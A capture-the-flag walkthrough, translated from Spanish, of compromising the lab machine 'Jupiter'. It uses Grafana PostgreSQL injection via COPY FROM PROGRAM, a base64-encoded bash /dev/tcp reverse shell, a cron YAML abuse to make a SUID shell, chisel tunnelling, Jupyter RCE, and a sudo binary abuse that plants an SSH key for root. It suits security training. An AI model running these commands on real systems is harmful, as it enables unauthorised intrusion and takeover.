This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Jupiter


In today's machine we cover subdomain enumeration and turn a PostgreSQL injection into RCE. For privilege escalation we work with cron jobs, port forwarding and Python

November 1, 202315 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

ping -c 1 10.10.11.216
PING 10.10.11.216 (10.10.11.216) 56(84) bytes of data.
64 bytes from 10.10.11.216: icmp_seq=1 ttl=63 time=174 ms

--- 10.10.11.216 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 174.469/174.469/174.469/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.216 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.11.216
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

nmap -p22,80 -sCV 10.10.11.216 -oN versions
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-01 17:21 CET
Nmap scan report for 10.10.11.216
Host is up (0.099s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_  256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

HTTP

nmap reported that port 80 was open and that the redirect to jupiter.htb wasn’t being followed. This means the server may be using virtual hosting

What is virtual hosting?

A virtual host, or virtual server, is a form of web hosting that lets several websites run on the same machine. There are two types of virtual hosts:

  • IP-based, where each website has a different IP.
  • Name-based, where several websites run on a single IP address.

Definition taken from: https://linube.com/ayuda/articulo/267/que-es-un-virtualhost


http-title: Did not follow redirect to http://jupiter.htb/

To fix this, we need to add the following line to /etc/hosts:

10.10.11.216 jupiter.htb

With this we’re saying that the domain jupiter.htb points to the IP 10.10.11.216. Now we can open the website in the browser. The website has nothing interesting, so we’ll look for subdomains. Many tools can do this, but I’ll use wfuzz

wfuzz -c -t 20 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.jupiter.htb" http://jupiter.htb/
Parameter explanation
  • -c: Colored output
  • -t: Number of concurrent threads
  • -w: Wordlist
  • -H: Specify a header
  • FUZZ: Where the wordlist entries will be tried

This command shows lots of subdomains, but they all have a 301 code, 178 characters, 12 words and 7 lines

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                       
=====================================================================

000000001:   301        7 L      12 W       178 Ch      "www"                                         
000000045:   301        7 L      12 W       178 Ch      "www1"                                        
000000042:   301        7 L      12 W       178 Ch      "static"                                      
000000015:   301        7 L      12 W       178 Ch      "ns"                                          
000000003:   301        7 L      12 W       178 Ch      "ftp"                                         
000000031:   301        7 L      12 W       178 Ch      "mobile"                                      
000000044:   301        7 L      12 W       178 Ch      "web"                                         
000000046:   301        7 L      12 W       178 Ch      "img"                                         
000000041:   301        7 L      12 W       178 Ch      "dns1"                                        
000000043:   301        7 L      12 W       178 Ch      "lists"                                       
000000040:   301        7 L      12 W       178 Ch      "ns4"                                         
000000007:   301        7 L      12 W       178 Ch      "webdisk"                                     
000000039:   301        7 L      12 W       178 Ch      "dns2"
...   

What we can do is add the -hh=178 parameter to hide responses with 178 characters.

wfuzz -c -t 20 --hh=178 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.jupiter.htb" http://jupiter.htb/

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                       
=====================================================================

000001955:   200        211 L    798 W      34390 Ch    "kiosk" 

Now it reports one subdomain, kiosk. To view it, we have to add it to /etc/hosts like this

10.10.11.216 jupiter.htb kiosk.jupiter.htb

When we open kiosk.jupiter.htb, we see a website built with Grafana. Specifically, if we go to the login page, we see it’s Grafana v9.5.2.

On the main page, if we go to any panel and click the 3 dots > Inspect > Panel JSON, we see the following:

{
  "datasource": {
    "type": "postgres",
    "uid": "YItSLg-Vz"
  },
  "fieldConfig": {
    "defaults": {
      "mappings": [],
      "thresholds": {
        "mode": "percentage",
        "steps": [
          {
            "color": "green",
            "value": null
          },
          {
            "color": "orange",
            "value": 70
          },
          {
            "color": "red",
            "value": 85
          }
        ]
      },
      "color": {
        "mode": "thresholds"
      }
    },
    "overrides": []
  },
  "gridPos": {
    "h": 8,
    "w": 12,
    "x": 0,
    "y": 24
  },
  "id": 30,
  "options": {
    "reduceOptions": {
      "values": false,
      "calcs": [
        "lastNotNull"
      ],
      "fields": ""
    },
    "orientation": "auto",
    "textMode": "auto",
    "colorMode": "value",
    "graphMode": "area",
    "justifyMode": "auto"
  },
  "pluginVersion": "9.5.2",
  "targets": [
    {
      "datasource": {
        "type": "postgres",
        "uid": "YItSLg-Vz"
      },
      "editorMode": "code",
      "format": "table",
      "hide": false,
      "rawQuery": true,
      "rawSql": "select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Jupiter';",
      "refId": "A",
      "sql": {
        "columns": [
          {
            "parameters": [],
            "type": "function"
          }
        ],
        "groupBy": [
          {
            "property": {
              "type": "string"
            },
            "type": "groupBy"
          }
        ],
        "limit": 50
      }
    }
  ],
  "title": "Number of Moons",
  "type": "stat"
}

With this, we can notice that the database is Postgres and that a query is being sent to it:

select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Jupiter';

If we go back to the main page, press ctrl + shift + c and go to the Network tab, we can see requests being made as we scroll. Let’s intercept them with Burp Suite.

POST /api/ds/query HTTP/1.1
Host: kiosk.jupiter.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://kiosk.jupiter.htb/d/jMgFGfA4z/moons?orgId=1&refresh=1d
...

{"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Jupiter';","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":928}],"range":{"from":"2023-11-01T11:31:09.304Z","to":"2023-11-01T17:31:09.304Z","raw":{"from":"now-6h","to":"now"}},"from":"1698838269304","to":"1698859869304"}

In the intercepted request we can see the query being sent to the Postgres database

Exploitation

To learn how to inject into PostgreSQL, there is a very interesting resource in the Payloads All The Things repo, which mentions an interesting vulnerability that turns the SQL injection into RCE (Remote Code Execution)

Basically, it consists of creating a table in the database the website uses

CREATE TABLE cmd_exec(cmd_output text);

Using COPY, the output of the id command will be put into the table, which causes the id command to be executed

COPY cmd_exec FROM PROGRAM 'id';

Optionally, if we can see the output, we could read it simply by querying the cmd_exec table

SELECT * FROM cmd_exec;

Knowing this, let’s go with the exploitation:

We create the cmd_exec table

"rawSql":"CREATE TABLE cmd_exec(cmd_output text);"

Now we listen on the tun0 interface for ICMP packets, which are the ones ping uses.

sudo tcpdump -i tun0 icmp

Finally, we send the injection to run a ping to our machine

"rawSql":"COPY cmd_exec FROM PROGRAM 'ping -c 1 10.10.14.28';"

The server replies with a 200 status

{"results":{"A":{"status":200,"frames":[]}}}

And we see that the ping went through, which means we can run commands on the target machine

18:47:24.492218 IP jupiter.htb > 10.10.14.28: ICMP echo request, id 2, seq 1, length 64
18:47:24.492238 IP 10.10.14.28 > jupiter.htb: ICMP echo reply, id 2, seq 1, length 64

Reverse shell

We’ll listen with netcat on port 443

nc -nlvp 443
Parameter explanation
  • n: Skip DNS resolution
  • l: Enable netcat’s listen mode
  • v: Verbose mode
  • p: Finally, p specifies the port number we’ll be listening on

We’ll send the reverse shell with bash: bash -i >& /dev/tcp/10.10.14.28/443 0>&1, but we’ll wrap it in bash -c "bash -i..." because the plain one might get blocked by the target machine. In short, it will look like this:

bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"

Before using it in the injection, we’ll base64-encode it to avoid problems with special characters.

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"' | base64

The final command we need in the injection would be: first an echo with the base64, then base64 -d to decode it, and finally bash so the decoded result is run with bash.

echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash

Applied to the injection, it would look like this:

"rawSql":"COPY cmd_exec FROM PROGRAM 'echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash';"

We get the connection!

$ nc -nlvp 443

listening on [any] 443 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.11.216] 46594
bash: cannot set terminal process group (18744): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ 

Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Privilege escalation

With ifconfig we can confirm we’re on the target machine and not in a container

postgres@jupiter:/var/lib/postgresql/14/main$ ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.216  netmask 255.255.254.0  broadcast 10.10.11.255
        ...

Since the website was Grafana, there is an interesting file that may contain credentials and valuable information at /etc/grafana/grafana.ini, but we don’t have permission to read it

postgres@jupiter:/etc/grafana$ cat grafana.ini

cat: grafana.ini: Permission denied

juno

Let’s check whether there is any cron job running every ‘x’ amount of time. For this we’ll use pspy. To use it, we simply download it on our machine and start a Python server in the directory where it’s saved

python3 -m http.server

And we download it on the target machine in the /tmp directory

wget 10.10.14.28/pspy64

Finally, we make it executable and run it

chmod +x pspy64
./pspy64

After capturing processes for a while, we see a script at /home/juno/shadow-simulation.sh being run with bash. /home/juno/.local/bin/shadow is also being run with the file /dev/shm/network-simulation.yml as an argument

2023/11/01 18:52:01 CMD: UID=1000  PID=21187  | /bin/bash /home/juno/shadow-simulation.sh 
2023/11/01 18:52:01 CMD: UID=1000  PID=21186  | /bin/sh -c /home/juno/shadow-simulation.sh 
2023/11/01 18:52:01 CMD: UID=1000  PID=21189  | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/11/01 18:52:01 CMD: UID=1000  PID=21198  | /usr/bin/python3 -m http.server 80 
2023/11/01 18:52:01 CMD: UID=1000  PID=21199  | /usr/bin/curl -s server

We don’t have access to /home/juno, so we can’t read the shadow-simulation.sh script, but we do have access to /dev/shm. If we cat /dev/shm/network-simulation.yml, we can see the following:

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

If we look closely, there are two commands being run, python3 -m http.server 80 and curl -s server, which pspy showed being run after /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml

2023/11/01 18:52:01 CMD: UID=1000  PID=21198  | /usr/bin/python3 -m http.server 80 
2023/11/01 18:52:01 CMD: UID=1000  PID=21199  | /usr/bin/curl -s server

With ls -l we see that we have read and write permissions on /dev/shm/network-simulation.yml

$ls -l /dev/shm/network-simulation.yml

-rw-rw-rw- 1 juno juno 815 Mar  7  2023 /dev/shm/network-simulation.yml

So we’ll modify it…

We’ll make it copy /bin/bash to /tmp/bash and give it SUID permissions

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/bash
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod
      args: u+s /tmp/bash
      start_time: 5s

Now all that’s left is to wait for it to run and then run /tmp/bash -p to launch bash with privileges

postgres@jupiter:/tmp$ /tmp/bash -p
bash-5.1$ whoami
juno

jovian

Something odd happens: we’re juno, but some commands run as postgres, as in this case with id

bash-5.1$ whoami
juno
bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert) 

To fix this, we’ll connect over SSH. First, on the attacker machine, we create SSH keys with ssh-keygen. This creates a folder in our home directory called .ssh, containing a file called id_rsa.pub, which is our public key. We’ll have to put this key in /home/juno/authorized_keys. Now we can connect over SSH without a password

Now that we have a proper console, we run id to see which groups we’re in

uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)

One group stands out: science. We can find which files belong to this group with the following command

find / -group science 2>/dev/null

/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv

find reports many files belonging to the science group in /opt.

If we go to /opt/solar-flares/logs, there are many log files, and when we cat the most recent one we see the following

juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-11-01-22.log

.....
[I 19:22:56.926 NotebookApp] http://localhost:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
[I 19:22:56.927 NotebookApp]  or http://127.0.0.1:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
.....

We see there is a website on the target machine on port 8888, but nmap didn’t report that port, most likely because it can only be reached from the target machine itself. To see more information about the ports, we can use ss -tnlp

juno@jupiter:/opt/solar-flares/logs$ ss -tnlp
State       Recv-Q       Send-Q             Local Address:Port             Peer Address:Port      Process      
LISTEN      0            511                      0.0.0.0:80                    0.0.0.0:*                      
LISTEN      0            4096               127.0.0.53%lo:53                    0.0.0.0:*                      
LISTEN      0            128                      0.0.0.0:22                    0.0.0.0:*                      
LISTEN      0            4096                   127.0.0.1:3000                  0.0.0.0:*                      
LISTEN      0            128                    127.0.0.1:8888                  0.0.0.0:*                      
LISTEN      0            244                    127.0.0.1:5432                  0.0.0.0:*                      
LISTEN      0            128                         [::]:22                       [::]:*                      

If we want to reach this port from our machine, we can do port forwarding. We could use SSH, but I don’t feel like it, so we’ll use chisel.

Using it is very simple: we download it on our machine, copy it to the target machine with a Python server like we did with pspy before (python3 -m http.server 80), make it executable (chmod +x chisel) and run the following

Attacker machine:

sudo ./chisel server --reverse -p 1234

Target machine:

./chisel client 10.10.14.28:443 R:8888:127.0.0.1:8888 &

Now our port 8888 maps to port 8888 on the target machine, so we can open the link we saw in the logs

http://localhost:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093

Once in, we see several files we can modify, so we can guess this website is being run by root or jovian. If we open flares.ipynb, we see a file that seems to contain Python documentation, there is a button at the top that says run, and we can modify the file, so we can try for RCE.

import os 
os.system('whoami')

jovian

We have RCE, and now we know who was running this: jovian

To get a reverse shell, we’ll use the same approach as at the beginning, so I won’t explain it again to keep the post short

import os 
os.system('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash')

We’re jovian!

$ nc -nlvp 443
listening on [any] 443 ...

jovian@jupiter:/opt/solar-flares$

root

With sudo -l we see that we can run the file /usr/local/bin/sattrack as root without a password

$ sudo -l

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

When we run it, it says it couldn’t find the configuration file

jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!

Let’s see where it’s loading it from with the strings command. The strings command is basically like cat, but it only shows the readable content of files such as binaries, pictures, etc..

strings /usr/local/bin/sattrack | grep config
/tmp/config.json

We see the path /tmp/config.json, but of course it doesn’t exist. What we can do is search the system for a config.json that is the default configuration for this binary

$ find / -name config.json 2> /dev/null

/usr/local/share/sattrack/config.json

find reports a config.json in a folder with the same name as the binary, so I assume they’re related. Let’s copy that file to /tmp

cp /usr/local/share/sattrack/config.json /tmp/config.json

Now we can run the binary, but it hangs while loading a resource from a website.

$ sudo /usr/local/bin/sattrack

Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt

Let’s see whether we can change this from the config.json file

{
	"tleroot": "/tmp/tle/",
	"tlefile": "weather.txt",
	"mapfile": "/usr/local/share/sattrack/map.json",
	"texturefile": "/usr/local/share/sattrack/earth.png",
	
	"tlesources": [
		"http://celestrak.org/NORAD/elements/weather.txt",
		"http://celestrak.org/NORAD/elements/noaa.txt",
		"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
	],
	
	"updatePerdiod": 1000,
	
	"station": {
		"name": "LORCA",
		"lat": 37.6725,
		"lon": -1.5863,
		"hgt": 335.0
	},
	
	"show": [
	],
	
	"columns": [
		"name",
		"azel",
		"dis",
		"geo",
		"tab",
		"pos",
		"vel"
	]
}

tlesources contains the websites the binary was loading. Since we have permission to modify this file, we can try putting our IP and starting a Python server (python3 -m http.server 80) to see whether we get the request

jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 http://10.10.14.28
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [01/Nov/2023 21:25:27] "GET / HTTP/1.1" 200 -

We do get the request. Now, instead of our IP, we could try putting file:///root/root.txt

After running it, we have the root flag in /tmp/tle/root.txt

We have the flag, but the fun part is getting a console as root, so what we’ll do is generate some SSH keys on our machine

ssh-keygen

Now, in our home directory, there is a .ssh folder containing the keys. We’ll copy the public key id_rsa.pub into a file called authorized_keys, and in that same directory we’ll start another Python server with python3 -m http.server 80

On the target machine we’ll tweak /tmp/config.json a bit: in the tleroot option we can set the path where we want the files to be downloaded, and there we’ll put the path to root’s keys

"tleroot": "/root/.ssh/",

Finally, in tlesources we’ll put our IP and the authorized_keys file

"http://10.10.14.28/authorized_keys"

Now, when we run the program, our public key will be placed inside root’s authorized_keys, which lets us connect over SSH without a password

ssh [email protected]

root@jupiter:~#